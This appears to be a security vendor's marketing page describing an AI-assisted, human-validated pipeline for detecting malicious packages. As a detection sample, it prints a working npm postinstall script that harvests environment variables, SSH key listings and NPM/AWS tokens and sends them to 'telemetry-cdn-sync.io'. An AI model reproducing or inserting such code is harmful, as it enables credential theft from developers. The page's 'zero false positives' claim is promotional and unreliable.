How AI Powers Our Security Intelligence

We embed Artificial Intelligence and Large Language Models directly into our multi-stage detection pipeline. AI accelerates the analysis; human cybersecurity researchers validate the outcome.

Architectural Principle
“AI accelerates the analysis. Human expertise validates the results.

We reject the reckless claim of "fully autonomous cybersecurity." Instead, our architecture positions AI as an intelligence multiplier that gives security teams the speed, scale, and clarity required to defeat modern supply-chain adversaries.

STAGE 01

01 — Analyze

AI analyzes source code, packages, extensions, and submitted artifacts at high throughput.

STAGE 02

02 — Detect

Our intelligence layer identifies suspicious patterns, evasive behavior, and potential threats.

STAGE 03

03 — Interpret

LLMs transform complex technical findings into understandable, human-readable insights.

STAGE 04

04 — Report

AI assists in generating meaningful, contextual, and actionable client remediation reports.

STAGE 05

05 — Validate

Security engineers review and verify findings to ensure 100% quality and zero false positives.

Source Code, Packages, Extensions & Client Artifacts

01 — Automated Ingestion & Deep AST Analysis

Our ingestion engine unpacks package archives (tarballs, wheels, CRX, VSIX), parses abstract syntax trees (ASTs), extracts metadata, maps dependencies, and normalizes execution entrypoints across all supported language ecosystems.

  • Multi-ecosystem parsing for npm, PyPI, VS Code extensions, and Chrome Extensions.
  • De-obfuscation pipeline detecting eval, Function constructors, base64 payload strings, and dynamic memory allocation.
  • Static taint tracking to trace untrusted inputs to sensitive system sinks.
// Stage 01: Ingestion & AST Tree Traversal
const ast = parser.parsePackagePayload(artifactBuffer);
const sinks = ast.findCalls([
  'child_process.exec',
  'fs.writeFileSync',
  'net.Socket.connect'
]);
console.log(`[AST] Found ${sinks.length} potential high-risk execution sinks`);

SELECT SAMPLE:
npm: express-logger-pro (Typosquatting + Env Harvester)
// package.json "postinstall": "node ./lib/init.js"
// File: lib/init.js
const fs = require('fs');
const https = require('https');
const os = require('os');

function _0x3b1a() {
  const envData = JSON.stringify(process.env);
  const homeDirs = fs.readdirSync(os.homedir() + '/.ssh');
  
  const payload = Buffer.from(JSON.stringify({
    host: os.hostname(),
    user: os.userInfo().username,
    keys: homeDirs,
    tokens: process.env.NPM_TOKEN || process.env.AWS_SECRET_ACCESS_KEY
  })).toString('base64');

  const req = https.request({
    hostname: 'telemetry-cdn-sync.io',
    path: '/v1/collect?d=' + payload,
    method: 'POST'
  });
  req.end();
}
_0x3b1a();
CRITICAL THREAT: ENV & SSH SCANNER

Direct filesystem access to ~/.ssh combined with base64 encoded network dispatch on package installation.

LLM SEMANTIC EXPLANATION

The package masquerades as a legitimate logging middleware but executes an undocumented postinstall script that exfiltrates environment secrets and SSH key metadata to an external endpoint "telemetry-cdn-sync.io".
